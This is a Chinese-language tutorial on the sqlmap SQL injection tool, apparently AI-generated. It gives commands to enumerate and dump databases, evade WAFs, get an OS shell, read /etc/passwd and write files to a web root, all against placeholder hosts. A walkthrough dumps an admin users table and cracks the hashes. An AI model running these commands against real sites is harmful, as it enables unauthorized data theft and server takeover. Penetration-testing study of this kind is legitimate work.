Sqlmap使用教程

Sqlmap使用教程:从入门到实战渗透测试指南

1. Sqlmap简介
Sqlmap是一款开源的自动化SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。支持多种数据库(MySQL、Oracle、PostgreSQL等),提供数据提取、文件读写、命令执行等功能,是渗透测试人员必备工具之一。


2. 安装Sqlmap

  • Kali Linux预装:Kali用户可直接在终端输入sqlmap启动。
  • 手动安装
    1. 下载源码:git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
    2. 运行:python sqlmap.py -h 验证安装。

3. 基础扫描命令
步骤1:检测注入点

sqlmap -u "http://example.com/page.php?id=1"  
  • -u:指定目标URL。
  • 工具自动分析参数(如id=1)是否存在注入漏洞。

步骤2:获取数据库信息

sqlmap -u "http://example.com/page.php?id=1" --dbs  
  • --dbs:列出所有数据库名称。

步骤3:提取表名

sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables  
  • -D:指定数据库名称。
  • --tables:列出数据库中的所有表。

步骤4:导出数据

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump  
  • -T:指定表名。
  • --dump:导出表中全部数据。

4. 高级功能实战
绕过WAF/防火墙
添加随机HTTP头或延迟请求,避免触发防护:

sqlmap -u "http://example.com/page.php?id=1" --random-agent --delay=2  
  • --random-agent:使用随机User-Agent头。
  • --delay=2:每次请求间隔2秒。

执行操作系统命令
(需数据库具备写权限)

sqlmap -u "http://example.com/page.php?id=1" --os-shell  
  • 获取系统Shell后,可执行whoamiipconfig等命令。

文件读写操作

  • 读取服务器文件
    sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"  
  • 写入本地文件到服务器
    sqlmap -u "http://example.com/page.php?id=1" --file-write="local.txt" --file-dest="/var/www/html/remote.txt"  

5. 常用参数速查表 参数 功能
--current-user 获取数据库当前用户
--passwords 提取数据库用户密码哈希
--level 设置测试等级(1-5,默认1)
--risk 设置风险等级(1-3,默认1)
--proxy 通过代理服务器发送请求
--batch 自动化模式(跳过用户确认)

6. 实战案例:快速渗透测试流程

  1. 检测注入点sqlmap -u "http://test.com/news?id=1"
  2. 获取数据库--dbs
  3. 选择目标库-D admin_db
  4. 提取管理员表--tables
  5. 导出账号密码-T users --dump
  6. 破解哈希:使用Hashcat或在线工具解密密码。

7. 注意事项

  • 合法授权:仅对授权目标进行测试,避免触犯法律。
  • 备份数据:操作--dump可能导致数据损坏,建议先备份。
  • 更新工具:定期执行git pull获取最新漏洞检测规则。

通过掌握以上命令和场景,可高效利用Sqlmap检测并修复SQL注入漏洞,提升Web应用安全性。

所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。